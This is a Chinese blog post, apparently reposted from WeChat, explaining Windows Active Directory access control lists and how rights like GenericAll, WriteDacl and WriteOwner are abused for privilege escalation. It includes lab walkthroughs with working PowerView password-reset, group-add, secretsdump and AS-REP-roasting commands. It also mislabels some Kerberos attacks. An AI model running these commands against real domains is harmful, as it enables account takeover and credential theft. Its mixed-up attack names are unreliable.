内网渗透—访问控制
什么是访问控制?
访问控制就是主体是否有权限对客体进行增删改查等操作。比如:在windows中主体是进程,客体可以是对象、文件、目录、管道、服务等。
1、访问控制就是对主体的访问行为进行一个判断,并执行相应的操作。
https://blog.riskivy.com/fun_with_acl_and_gpo/
https://blog.csdn.net/jfyy/article/details/86070119
2、访问令牌
访问令牌可以说是一个凭证,当访问某些对象当时候,根据访问令牌来判断你是否具有对象当权限。
3、安全描述符
安全描述符可以说是一个依据或者是规定,包含了一些安全属性和策略。
安全描述符由4部分组成,包含SID(标识该对象拥有的SID),DACL(该对象的访问控制策略),SACL(该对象的访问行为的审计策略)、Flag(其他标志位信息);
4、
ACL:访问控制列表
ACE:访问策略
ACL分为DACL和SACL
DACL:定义用户或者用户组对对象具有怎样的访问权限。
具体过程:主体访问客体,检查主体的SID与客体的DACL中的ACE策略,根据ACE策略来决定是否允许访问。
默认允许所有访问操作:对象没有设置DACL。
系统将拒绝访问操作:如果对象配置了DACL但找不到对应SID的ACE条目。
SACL:SACL中的ACE定义了是否对请求方的行为进行日志记录。
实际利用
-
GenericAll :拥有一个可以完全控制用户/组的权限。
1、对于用户:在不知道当前用户密码的情况下,可以重置用户的密码。
2、对组:允许用户添加自己的用户到域管理员组。
net group"domain admins" 用户名 /add /domain
-
GenericAll/GenericWrite :此权限能够更新目标对象的属性值。
1、可以给目标账户设置一个SPN服务,然后请求白银票据,获取hash进行一个kerberoast。
2、可以改变用户的UAC,然后在指定kerberos不进行域认证。
-
GenericWrite
1、重置其他用户的密码。
-
WriteProperty :这个权限利用针对的对象为组对象,能够赋予账户对于某个组的可写权限。
-
WriteDacl :攻击者可以添加或删除特定的访问控制项,从而使他们可以授予自己对对象的完全访问权限。
1、给予用户DcSync权限,当前用户可以直接在任何机器上dump域控上的所有用户hash。
-
WriteOwner
1、可以修改目标对象的拥有者。也就是说将对象的拥有者更改为攻击者所能控制的。
快速查看域内拥有WriteProperty权限的账户:
Get-DomainObjectAcl | Where-Object {$_.ActiveDirectoryRight -eq "WriteProperty"}
https://www.c0bra.xyz/2021/02/07/域渗透-Windows下的访问控制列表及DCSync/
权限提升路径
实例1
当前用户是tom,查看当前组。
假设当前用户获取到Backup_Admins组到权限,在工具中查询。
1、tom -> claire:
tom拥有对claire的权限WriteOwner。
tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound>powershell
Windows PowerShell
Copyright (C) 2014 Microsoft Corporation. All rights reserved.
PS C:\Users\tom\Desktop\AD Audit\BloodHound> . .\PowerView.ps1
//将tom用户设置为claire的ACL的拥有者。
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Set-DomainObjectOwner -identity claire -OwnerIdentity tom
//在ACL中给tom修改密码的权限。
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPass
word
//设置新密码
PS C:\Users\tom\Desktop\AD Audit\BloodHound> $cred = ConvertTo-SecureString "qwer1234QWER!@#$" -AsPlainText -force
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Set-DomainUserPassword -identity claire -accountpassword $cred
PS C:\Users\tom\Desktop\AD Audit\BloodHound>
2、claire -> Backup_Admins
WriteDacl权限:
用户CLAIRE具有修改Backup_admins组的DACL的权限。
将该用户加入该组
3、Backup_Admins -> Administrator
小结:
1、claire用户没有对C:\Users\Administrator文件夹的权限。
登陆Administrator用户,查看一下当前文件夹的DACL。
查看root文件的权限,Backup_Admins的用户没有权限查看当前文件。
实例2
当前用户是[email protected]
查询当前用户得到域控制器组中的路径
使用impacket获取用户密码
python3 secretsdump.py egotistical-bank/svc_loanmgr@10.129.1.165
实例3
以用户SBAUER为起点。
找到该用户的最高权限目标
SBAUER对JORDEN具有GenericWrite权限。
所以可以利用当前用户对其进行kerberosating攻击。
Powershell获取用户属性
Get-ADUser -Filter 'Name -like "Jor*"'
获取某个用户的SPN服务
将jorden用户的属性设置为不需要预认证。
Set-ADAccountControl -Identity jorden -doesnotrequirepreauth $true
python3 GetNPUsers.py MEGACORP.local/sbauer:"D3veL0pM3nT\!" -dc-ip 10.129.1.125 -request
原文始发于微信公众号(土拨鼠的安全屋):内网渗透—访问控制
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论